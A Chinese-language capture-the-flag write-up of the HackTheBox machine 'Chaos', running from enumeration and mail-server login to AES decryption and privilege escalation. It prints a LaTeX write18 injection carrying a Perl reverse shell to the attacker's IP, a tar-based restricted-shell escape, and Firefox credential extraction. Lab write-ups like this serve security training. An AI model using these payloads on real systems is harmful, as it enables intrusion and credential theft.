Chaos_HTB靶机渗透

前言

知识点:

  1. wpscan使用
  2. imap/pop3命令行使用
  3. curl,wget,nc使用

0x01

nmap开路,开放了80和一些邮件服务。还有一个10000端口跑着webmin
nmap

访问80端口时,建议修改/etc/hosts文件,即可正常访问。扫描目录,发现有wordpress服务

gobuster

随即wpscan扫描,发现user

wscan

有一篇文章被密码保护了,猜测搜集到的用户名为密码,成功解开

human

0x02

尝试登录邮件服务器
143和993是imap,110和995是POP3

1
2
3
$ telnet chaos.htb 110
$ telnet chaos.htb 134
警告:明文认证,存在风险

telnet1

1
2
3
$ telnet chaos.htb 993
$ telnet chaos.htb 995
没反应

这时尝试使用openssl登录

1
2
$ openssl s_client -connect chaos.htb:110 -starttls pop3
$ openssl s_client -connect chaos.htb:143 -starttls imap #和下面的相似

个人感觉是使用加密传输登录110和143端口未启用加密传输的服务,自然登录不上,其实是可以的,加上参数和服务名就可以登录。直接登录启用了ssl的邮件服务器

1
2
3
4
5
6
7
8
9
10
11
$ openssl s_client -connect chaos.htb:995
$ user ayush
+OK
$ pass jiujitsu
+OK Logged in.
$ list # 无邮件返回空
+OK 0 messages:
.
$ quit
+OK Logging out.
closed
1
2
3
4
5
6
7
$ openssl s_client -connect chaos.htb:993
CONNECTED
$ a login ayush jiujitsu # 必须在每一条指令前加上一个"tag",可以是单词tag,也可以是字母a以此类推
$ tag LIST "" "*" # *是通配符
$ tag select Drafts
$ tag fetch 1 body[text]
$ tag logout

拿到base64加密的邮件内容,提示密码是sahay

encrypt采用AES CBC加密算法,初始向量IV采用16位随机字符串。base64解码后的密文enim_msg.txt,文本长度为272,刚好可以整除16,272/16=17,因此可以确定CBC分组长度为16。根据AES标准,密文前16位为IV初始向量,即:IV = 0000000000000234。注意解密后,明文为base64编码,前16位IV应该除去,剩余字符串可正常解码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ tag fetch 1 body[text]
* 1 FETCH (BODY[TEXT] {2183}
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII;
format=flowed

Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
Thanks,
Ayush

--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: application/octet-stream;
name=enim_msg.txt
Content-Disposition: attachment;
filename=enim_msg.txt;
size=272

MDAwMDAwMDAwMDAwMDIzNK7uqnoZitizcEs4hVpDg8z18LmJXjnkr2tXhw/AldQmd/g53L6pgva9
RdPkJ3GSW57onvseOe5ai95/M4APq+3mLp4GQ5YTuRTaGsHtrMs7rNgzwfiVor7zNryPn1Jgbn8M
7Y2mM6I+lH0zQb6Xt/JkhOZGWQzH4llEbyHvvlIjfu+MW5XrOI6QAeXGYTTinYSutsOhPilLnk1e
6Hq7AUnTxcMsqqLdqEL5+/px3ZVZccuPUvuSmXHGE023358ud9XKokbNQG3LOQuRFkpE/LS10yge
+l6ON4g1fpYizywI3+h9l5Iwpj/UVb0BcVgojtlyz5gIv12tAHf7kpZ6R08=
--=_00b34a28b9033c43ed09c0950f4176e1
Content-Transfer-Encoding: base64
Content-Type: text/x-python; charset=us-ascii;
name=en.py
Content-Disposition: attachment;
filename=en.py;
size=804

ZGVmIGVuY3J5cHQoa2V5LCBmaWxlbmFtZSk6CiAgICBjaHVua3NpemUgPSA2NCoxMDI0CiAgICBv
dXRwdXRGaWxlID0gImVuIiArIGZpbGVuYW1lCiAgICBmaWxlc2l6ZSA9IHN0cihvcy5wYXRoLmdl
dHNpemUoZmlsZW5hbWUpKS56ZmlsbCgxNikKICAgIElWID1SYW5kb20ubmV3KCkucmVhZCgxNikK
CiAgICBlbmNyeXB0b3IgPSBBRVMubmV3KGtleSwgQUVTLk1PREVfQ0JDLCBJVikKCiAgICB3aXRo
IG9wZW4oZmlsZW5hbWUsICdyYicpIGFzIGluZmlsZToKICAgICAgICB3aXRoIG9wZW4ob3V0cHV0
RmlsZSwgJ3diJykgYXMgb3V0ZmlsZToKICAgICAgICAgICAgb3V0ZmlsZS53cml0ZShmaWxlc2l6
ZS5lbmNvZGUoJ3V0Zi04JykpCiAgICAgICAgICAgIG91dGZpbGUud3JpdGUoSVYpCgogICAgICAg
ICAgICB3aGlsZSBUcnVlOgogICAgICAgICAgICAgICAgY2h1bmsgPSBpbmZpbGUucmVhZChjaHVu
a3NpemUpCgogICAgICAgICAgICAgICAgaWYgbGVuKGNodW5rKSA9PSAwOgogICAgICAgICAgICAg
ICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBlbGlmIGxlbihjaHVuaykgJSAxNiAhPSAwOgog
ICAgICAgICAgICAgICAgICAgIGNodW5rICs9IGInICcgKiAoMTYgLSAobGVuKGNodW5rKSAlIDE2
KSkKCiAgICAgICAgICAgICAgICBvdXRmaWxlLndyaXRlKGVuY3J5cHRvci5lbmNyeXB0KGNodW5r
KSkKCmRlZiBnZXRLZXkocGFzc3dvcmQpOgogICAgICAgICAgICBoYXNoZXIgPSBTSEEyNTYubmV3
KHBhc3N3b3JkLmVuY29kZSgndXRmLTgnKSkKICAgICAgICAgICAgcmV0dXJuIGhhc2hlci5kaWdl
c3QoKQoK
--=_00b34a28b9033c43ed09c0950f4176e1--
)
tag OK Fetch completed (0.006 + 0.000 + 0.005 secs).

解密后得到一个链接,http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/,发现是pdflatex攻击,这里先给出学习链接https://0day.work/hacking-with-latex/,之后补上。点击create pdf,在创建pdf的同时会执行命令,直接反弹shell

latex

这里给出payload

1
2
3
4
\immediate\write18{perl -e 'use Socket;$i="10.10.16.49";$p=6666;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");
open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'}

得到一个www-data权限的shell后,因为不是完全的交互式的tty,有些命令无法执行,这里给出使用python优化的payload

1
$ python -c 'import pty; pty.spawn("/bin/bash")'

可以使用su ayush切换到ayush的会话中,密码是之前得到的。但这是个rbash,环境变量被限制在/home/ayush/.app中

rbash

这里使用tar来逃逸rbash,学习链接https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

1
$ tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh

逃逸之后,添加上环境变量

1
$ export PATH=$PATH:/usr/bin/ #或者export PATH=$PATH:/bin

拿到user.txt不在话下
user

hint之后。用户安装了mozilla firefox,并且保存了登录凭据,理由是文件体积比默认安装的大。找到profile.ini文件和key4.db,可以用来恢复密码。路径/home/ayush/.mozilla/firefox/bzo7sjt1.default

这里使用的恢复工具是https://github.com/unode/firefox_decrypt,需要python环境

但是这里遇到了问题,靶机git clone、curl、wget等常见的命令行下载工具无法使用,包括从自己的vps上下载也不行。这里让我很是头疼

既然在靶机上无法下载,那么从本地上传至靶机应该可以吧。最后使用nc命令来进行文件传输

1
2
3
$ nc -l -p 39808 > firefox_decrypt.py #client接收
$
$ nc -w 3 10.10.10.120 39808 < firefox_decrypt.py #host传送

解决完传输问题之后,又有新问题了。逃逸rbash和导入环境变量之后,python命令无法正常使用,这里我想到会不会是环境变量的问题呢?于是在补全了/usr/bin/python3之后,终于正常了。55555

root

su root之后,拿到root.txt也不在话下

参考:
https://www.jianshu.com/p/e9e3649491b1
http://sawicky.me/